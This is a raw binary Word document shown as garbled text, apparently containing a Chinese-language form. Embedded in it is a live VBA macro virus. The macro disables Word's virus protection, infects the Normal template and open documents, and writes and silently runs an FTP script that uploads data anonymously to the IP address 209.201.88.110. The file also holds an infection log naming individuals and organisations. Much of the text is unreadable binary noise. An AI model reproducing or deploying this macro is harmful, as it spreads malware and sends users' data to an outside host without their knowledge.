ࡱ> KNJq` R9bjbjqPqP8<::vvvvvvv||||,T 8"@@@@@!!!!!!!$*#h%j!!v!vv@@!v@v@!!vv@4 |?l"08"%F%%v8!! 8"T T T D T T T vvvvvv QNDnxvz-N_ \MO^X3uh Y T'` +RZQ >mяgN[MQQckbgqGrQuegSR]\OekNb!hkNet^ gQzet^ gf[ S f[ MO@bf[NNs]\O/ZSXTUSMO sLR/LyNLeYyT4ls^N,g@b geN^\sQ|MvP`QY T]\O0Wp]\O'`(7bS@b(W0WE-mailT|5u݋  7bS@b(W0Wck_7bS@b(W0W^ck_7bS@b(W0Wf[ubZSXT ^X\MO N0f[`NۏO~S'Yf[kXw xvzu6klfc[Ye^ N0]\O~S+T]\Oe0USMOTySNL`QI{ N0Nh'`xvz]\Obf[MOe]\ON~+TSR/bbyv0xvzW@x0S_bgI{ V0_vyb/cVYRSxvzbg`QNh'`xvze0N)R0VYI{ hlcT N0cO$Nb NMO TLwQ gؚ~LycPNvT|e_YT0LR05u݋T{0W@W mQ0^X\MOH"$(,246Tjtv> B D N R ` p r Һ뢑{r{_{_{_{_{_{_{_{_{_{_{_{$hn5B*CJOJQJ\o(phhnCJ\o(*hZqhn5B*CJOJQJ\o(ph!hnB*CJOJQJ\o(ph.hA@hn5B*CJ$OJQJ\aJ$o(ph.hnhn5B*CJ$OJQJ\aJ$o(ph1hnhn5>*B*CJ$OJQJ\aJ$o(ph(hn5B*CJ$OJQJ\aJ$o(ph!6>@HJRTbl $$Ifa$gdn$d\$Ifa$gdn $da$gdn 9lnx)$d\$Ifa$gdnkd$$Ifl4֞ $X!p0$64 laxz@kd$$Ifl4r $X! 0$64 la$d\$Ifa$gdn.kd$$Ifl4kr $X! 0$64 lad\$IfWD%`gdn$d\$Ifa$gdn.kd$$Ifl4r $X! 0$64 lad\$IfWD&`gdn$d\$Ifa$gdn$d\$Ifa$gdn )$d\$Ifa$gdnkd$$Ifl4֞$ $X80$64 la @ B P R \ ^ ~ooco d\$Ifgdn$d\$Ifa$gdnukd$$Iflw0$ $ l0$64 la $$Ifa$gdn^ ` p r dUUUU$d\$Ifa$gdnkd|$$Ifl;\ $ 0$64 la aR@0Rd\$If^gdnvd\$IfWD1`vgdn$d\$Ifa$gdnkdG$$Ifl4\\$t  0$64 laf4      ( íííííÃoYH!hnB*OJQJ\aJo(ph*hm*hn5B*CJOJQJ\o(ph'h_JhnB*CJOJQJ\o(ph*h_Jhn5B*CJOJQJ\o(ph'hZqhn5B*CJOJQJo(ph*hZqhn5B*CJOJQJ\o(ph$hn5B*CJOJQJ\o(ph/hn5B*CJOJQJ\mHnHo(phu!hn5B*CJOJQJo(ph ?3 d\$Ifgdnkd4$$Ifl4r ,$ 0$64 laf4$d\$Ifa$gdn /kd$$Ifl4\r ,$ 0$64 laf4$d\$Ifa$gdnd\$If^gdn Rkd$$Ifl4Q\,$  0$64 laf4$d\$Ifa$gdn   2 4 teVe$d$Ifa$gdn$d\$Ifa$gdnkd $$Ifl4F$ ,0$6    4 laf4( 0 2 4 6 @ H J N P ` j lXGXB,*hjhn5B*CJOJQJ\o(ph hno(!hnB*CJOJQJ\o(ph'h4FhnB*CJOJQJ\o(ph'hd hnB*CJOJQJ\o(phhnCJKHOJQJo(hnCJKHQJo($hn5B*CJOJQJ\o(ph*hZqhn5B*CJOJQJ\o(ph'h_JhnB*CJOJQJ\o(ph*h^Rhn5B*CJOJQJ\o(ph'h9hnB*OJQJ\aJo(ph4 6 @ N teSd$IfWD `gdn$d\$Ifa$gdnkd $$Ifl4F$ ,0$6    4 laf4N P    f h j zzzzzzzzzgdnd\gdnxkdA $$Ifl40$ 0$64 laf4    : < L P V X Z f 8ӽӽӽӐ|fPӽNU*hFhn5B*CJOJQJ\o(ph*hIhn5B*CJOJQJ\o(ph'hIhnB*CJOJQJ\o(ph&hl>hn5CJKHOJQJ^Jo(hxWhno(!hnB*CJOJQJ\o(ph*hjhn5B*CJOJQJ\o(ph$hn5B*CJOJQJ\o(ph hno('hOhnB*CJOJQJ\o(ph B8D8F8,9h99d G$H$WD`gd*d G$H$WD`gdn $d\a$gdngdn[\MOvƋ0xvztQ0^Xt1uSOR0]\O`TvQ[f N0DNfRve0fNq_pSN0vQ[PgeI{PDF ,gNbN N`Qw[e Y gZGP ,gN?aabbNRTg03uN~{T kXheg t^ g e8>8@8B8F8N8P8\8z888,99999½wlwe hnh_]hnOJQJaJo(hP+hnOJQJaJo(huhn>*CJo(hn>*CJo(hThn>*CJo(hVchn5>*CJo(hn5>*CJo( hno(*hjhn5B*CJOJQJ\o(ph$hn5B*CJOJQJ\o(ph'hIhnB*CJOJQJ\o(ph6182P:pJ. A!"n#$%S $$If!vh5X5!5555p5#vX#v!#v#v#v#vp#v:V l40$6+,5X5!5555p54$$If!vh5X5!55 5#vX#v!#v#v #v:V l40$6+,5X5!55 54$$If!vh5X5!55 5#vX#v!#v#v #v:V l4k0$6+++,5X5!55 54$$If!vh5X5!55 5#vX#v!#v#v #v:V l40$6+++,5X5!55 54$$If!vh5X5855555#vX#v8#v#v#v:V l40$6+,5X585554$$If!vh5 5l#v #vl:V lw0$6,5 5l4$$If!vh5 555#v #v#v#v:V l;0$6,5 5554$$If!vh5t5 5 5#vt#v #v #v:V l4\0$6,5t5 5 5/ / 4f4$$If!vh5 5555#v #v#v#v:V l40$6+,5 5554f4$$If!vh5 5555#v #v#v#v:V l4\0$6+,5 5554f4$$If!vh5 5 55#v #v #v#v:V l4Q0$6,5 5 554f4$$If!vh5 5,5#v #v,#v:V l40$6+,5 5,54f4$$If!vh5 5,5#v #v,#v:V l40$6+,5 5,54f4$$If!vh5 5#v #v:V l40$6,5 54f4J@J ncke $1$a$ CJKH_HaJmH nHsH tH$A$ ؞k=W[SOBi@B nfh?@ACDEFGHILMrPQR_TUVWXYZ[\]^O`abcdefghijlmnopqswtuvxRoot Entry FkData 1Table'%WordDocument8<SummaryInformation(:DocumentSummaryInformation8BXacrosп^XBAп^7ThisDocument S__SRP_2__SRP_3BXVBA_PROJECT*   !"#$%&'()*+,-./012345789:;<=>@ABCDEFGHIJKLMNOPRUVWXY[ J%L $ (!>!P (!>%N'0 &e *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2 RC:\hsf 2.sys'2 2 0Vc:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incomingasciiput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anything  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$$f d!. R$ $f . d!. R$'.kd .$f' '.k R ) ,$f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$f'  d!j$f'  .$f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998^+]<<JO~Pth?. Bs=bANRNA")I=xNRNA")I=JO~Pth?.ME(S"SS"6"(1Normal.ThisDocument (%H` % % oo@L? @  @" @$ `& @( `* @, @. @0 `2h8@0(P$*\Rffff*05508f942c4o"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p *x   *   * 8 H *P   *   .  ( *0 ` p p]<- this is a marker!Declare Variables] 8]Ph] %Initialize Variables 4!6!8%:.( <!6!8%:.* '' (!>%@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999 I# 12:39:25 PM - Tuesday, 20 May 1997ind ghc-bbc,! 01:21:36 PM - Friday, 7 May 1999 p# 05:51:53 - Wednesday, 12 May 1999ule qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999  t$ 02:53:46 - Tuesday, 6 Sep 2011F  .$ 09:37:47 - Monday, 19 Sep 2011  ʿD$ 01:41:54 - Monday, 26 Sep 2011m.P unknownr' 10:50:02 - Wednesday, 19 Oct 2011N ףȪS' 08:27:05 - Wednesday, 26 Oct 2011( ٻs$ 10:37:36 - Monday, 31 Oct 2011lse ˷ $ 04:21:38 - Monday, 31 Oct 2011ed  ÷T& 08:15:53 - Wednesday, 2 Nov 2011de Ż᷼L# 03:51:55 - Friday, 4 Nov 2011ntO $ 10:16:27 - Friday, 11 Nov 2011eIn ϼ=$ 06:10:24 - Friday, 18 Nov 2011 =  ФM# 01:12:04 - Friday, 9 Dec 2011ule Liu Chunguangne# 04:47:29 - Friday, 9 Dec 2011 Lo һ ' 12:10:36 - Wednesday, 14 Dec 2011t һo$ 08:44:13 - Monday, 19 Dec 2011Dat ëѧɭS BAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTruBExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S&= 20<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op enOutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA2a Ͽ[W   .1dQ1 }pXX0ZX3S'Wria log rfofP, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&fW' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK Bȳ. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829JRajK@u7:5LSatu rL3K4L-!P7ëѧɭhrU 0Qy )4a\`rU @nay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\Microsoft Office\OFFICE11\MSWORD.OLB#Microsoft Word 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormalEP(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library (P]ThisDocument05508f942cThisDocument<+ ++Ay'`9:,Wordk`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole``Project-` ThisDocument<` _Evaluate`Normal`Officeu`Documentj`Document_Close7\`MarkerS` SaveDocumentd]`SaveNormalTemplatel`DocumentInfected `NormalTemplateInfectedy`ad~\`nto^`OurCode=` UserAddressF`LogData(6`LogFileG`ActiveDocument\` VBProjectOh` VBComponents '`Itemz`NormalTemplateq` CodeModule`Findn`Options`VirusProtectionoD`Day`Now%`Systema`PrivateProfileString[`Lines` CountOfLines!\`i``Str`RndR`ShellV`vbHideW` SaveFormat`wdFormatDocument`wdFormatTemplatee`Savedd` Application*`ChrK~`Time`UserName\` DeleteLines `AddFromString`Save`FullNameО`T0* pHdProjectQ(@= l (P J< rstdole>stdolePh%^*\G{00dir6__SRP_0 ?X__SRP_1QbPROJECTwmS)020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C EP!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE11\MSO.DLL#M 11 .0 Ob Library%"z]BeThisDocumentG  Tfis"DHcu@Ienn 2 (HB1B+XB,!<\"BK*y *\CNormalrU~~~~~~l jB3Lpg    .=+Ji>1Project ThisDocumentF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA ! I` F5C:\Program Files\Microsoft Office\OFFICE11\MSWORD.OLBWord Ap0FC:\WINDOWS\system32\stdole2.tlbstdole )QL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice 1k FJO~Pth?. Bs=bANRNA")I= FDocument @:rU~}  pThisDocumentThisDocumentID="{BE528D15-3E05-4945-B4D9-3B2E97EE4EE8}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="90926E9472947294729472" DPB="2022DE21DF21DF21" GC="B0B24EB14FB14F4E" [Host Extender Info] &H000000PROJECTTeCompObjZm01={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C   FMicrosoft Office Word ĵ MSWordDocWord.Document.89q